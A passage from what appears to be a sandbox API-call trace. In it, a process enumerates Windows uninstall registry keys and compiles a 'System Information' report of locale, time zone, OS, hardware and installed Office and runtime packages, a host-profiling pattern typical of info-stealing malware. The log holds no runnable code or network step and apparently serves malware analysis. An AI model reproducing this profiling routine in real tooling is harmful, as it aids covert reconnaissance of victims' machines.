lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00BA-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.880] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-00BA-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.880] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.880] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.880] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Groove MUI (English) 2016", lpcbData=0x24fac4*=0x48) returned 0x0 [0261.880] LocalAlloc (uFlags=0x40, uBytes=0x2090) returned 0x6f35b0 [0261.880] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.880] StrStrW (lpFirst="Microsoft Groove MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.880] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n") returned 52 [0261.881] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.881] lstrlenW (lpString="\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n") returned 52 [0261.881] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n") returned 2539 [0261.881] LocalAlloc (uFlags=0x40, uBytes=0x153e) returned 0x6f5648 [0261.882] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.882] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.883] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.883] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.884] LocalFree (hMem=0x6bec00) returned 0x0 [0261.884] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.884] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2b, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00E1-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.884] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-00E1-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.884] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.884] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.884] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office OSM MUI (English) 2016", lpcbData=0x24fac4*=0x50) returned 0x0 [0261.885] LocalAlloc (uFlags=0x40, uBytes=0x20a0) returned 0x6f6b90 [0261.885] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.885] StrStrW (lpFirst="Microsoft Office OSM MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.885] wsprintfW (in: param_1=0x6f6b90, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n") returned 56 [0261.885] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.885] lstrlenW (lpString="\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n") returned 56 [0261.885] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n") returned 2591 [0261.885] LocalAlloc (uFlags=0x40, uBytes=0x15ae) returned 0x6e5058 [0261.886] LocalFree (hMem=0x6f6b90) returned 0x0 [0261.887] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.887] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.887] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.888] LocalFree (hMem=0x6bec00) returned 0x0 [0261.888] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.888] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2c, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00E2-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.888] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-00E2-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.888] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.888] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.888] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office OSM UX MUI (English) 2016", lpcbData=0x24fac4*=0x56) returned 0x0 [0261.888] LocalAlloc (uFlags=0x40, uBytes=0x20ac) returned 0x6f35b0 [0261.888] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.888] StrStrW (lpFirst="Microsoft Office OSM UX MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.888] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n") returned 59 [0261.888] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.888] lstrlenW (lpString="\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n") returned 59 [0261.888] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n") returned 2647 [0261.889] LocalAlloc (uFlags=0x40, uBytes=0x1624) returned 0x6f5668 [0261.889] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.890] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.893] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.893] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.893] LocalFree (hMem=0x6bec00) returned 0x0 [0261.894] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.894] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2d, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0115-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.894] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0115-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.894] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.894] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.894] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Shared Setup Metadata MUI (English) 2016", lpcbData=0x24fac4*=0x74) returned 0x0 [0261.894] LocalAlloc (uFlags=0x40, uBytes=0x20e8) returned 0x6f6c98 [0261.895] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.895] StrStrW (lpFirst="Microsoft Office Shared Setup Metadata MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.895] wsprintfW (in: param_1=0x6f6c98, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 74 [0261.895] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 